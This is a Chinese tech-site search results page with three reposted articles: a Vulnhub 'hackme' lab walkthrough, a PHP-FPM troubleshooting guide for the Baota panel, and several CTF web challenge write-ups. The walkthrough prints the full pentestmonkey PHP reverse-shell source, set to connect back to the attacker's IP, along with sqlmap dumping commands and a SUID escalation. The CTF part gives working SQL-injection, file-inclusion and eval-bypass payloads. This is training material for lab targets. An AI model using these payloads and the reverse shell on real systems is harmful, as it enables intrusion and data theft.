前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[PHP服务启动失败]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 靶机描述 靶机地址:https://www.vulnhub.com/entry/hackme-1,330/ Description ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali: IP地址:192.168.184.128 靶机: IP地址:192.168.184.149 注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式) 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
PHP
...新的宝塔面板,却发现PHP服务无法启动?别担心,这并不罕见,我们都知道,PHP作为Web开发的基石,它的稳定运行对我们的项目至关重要。接下来,咱们一块儿踏上解谜之旅,我会一步步揭示问题背后的玄机,手把手教你如何让PHP环境满血复活,就像给老朋友做一次舒爽的大扫除! 二、现象分析 1.1 现象描述 当你打开宝塔面板,点击“PHP版本”或者“PHP-FPM”管理,可能会看到一个红色的感叹号或者错误提示,告诉你PHP无法启动。这可能表现为“无法连接到服务器”、“缺少文件”或“配置错误”。 1.2 错误日志线索 查看PHP的日志文件(通常在/var/log/php-fpm.log或/var/log/php_error.log)是定位问题的第一步。有时候你会遇到一些小麻烦,比如找不到那个神秘的php.ini小伙伴,或者有些扩展好像还没跟上节奏,没好好加载起来。这些都是常见的小插曲,别担心,咱们一步步解决。 三、排查步骤 2.1 检查环境配置 确保PHP的安装路径正确,/usr/local/php或者/usr/bin/php,并且PHP-FPM服务已经正确安装并启用。可以运行以下命令检查: bash which php 如果返回路径正确,再运行: bash sudo service php-fpm status 确认服务状态。 2.2 检查php.ini 确认php.ini文件存在且权限正确,可以尝试编辑它,看看是否有禁止运行的设置: bash nano /usr/local/php/etc/php.ini 确保extension_dir指向正确的扩展目录,并且没有禁用必需的扩展,如mysqli或gd。 2.3 检查扩展 有些情况下,扩展可能没有正确安装或加载。打个比方,假如你需要PDO_MYSQL这个东东,记得在你的PHP配置文件里,Windows系统下应该是"extension=php_pdo_mysql.dll",Linux系统上则是"extension=pdo_mysql.so",别忘了加! 四、实例演示 假设你遇到了extension_dir未定义的问题,可以在php.ini中添加如下行: ini extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20200930" 然后重启PHP-FPM服务: bash sudo service php-fpm restart 五、高级排查与解决方案 3.1 检查防火墙 如果防火墙阻止了PHP-FPM的访问,需要开放相关端口,通常是9000。 3.2 安全组设置 如果你在云环境中,记得检查安全组规则,确保允许来自外部的请求访问PHP-FPM。 六、结语 通过以上步骤,你应该能解决大部分PHP在宝塔面板无法启动的问题。当然,每个环境都有其独特性,可能需要针对具体情况进行调整。遇到复杂问题时,不妨寻求社区的帮助,或者查阅官方文档,相信你一定能找到答案。记住,解决问题的过程也是一种学习,祝你在PHP的世界里越走越远!
2024-05-01 11:21:33
564
幽谷听泉_
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 目录 [HCTF 2018]WarmUp [强网杯 2019]随便注 [SUCTF 2019]EasySQL [GYCTF2020]Blacklist [GKCTF2020]cve版签到 GXYCTF2019禁止套娃 [De1CTF 2019]SSRF Me [极客大挑战 2019]EasySQL [极客大挑战 2019]Havefun [极客大挑战 2019]Secret File [ACTF2020 新生赛]Include 2018]easy_tornado [极客大挑战 2019]LoveSQL [GXYCTF2019]Ping Ping Ping [RoarCTF 2019]Easy Calc [极客大挑战 2019]Knife [ACTF2020 新生赛]Exec [极客大挑战 2019]PHP [极客大挑战 2019]Http [HCTF 2018]admin [极客大挑战 2019]BabySQL [HCTF 2018]WarmUp 这里补充一个知识点:phpmyadmin 4.8.1任意文件包含 环境我已经启动了 去访问一下 源码有提示 去访问一下 然后看到了源码 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 这里白名单里给了一个提示 尝试直接去访问它 报错了… 尝试穿越目录去访问 依然报错了 看源码吧 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单/hint.php?flag 进行绕过 进行目录穿越就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入:1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 (为2) 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名) 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多 这里通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 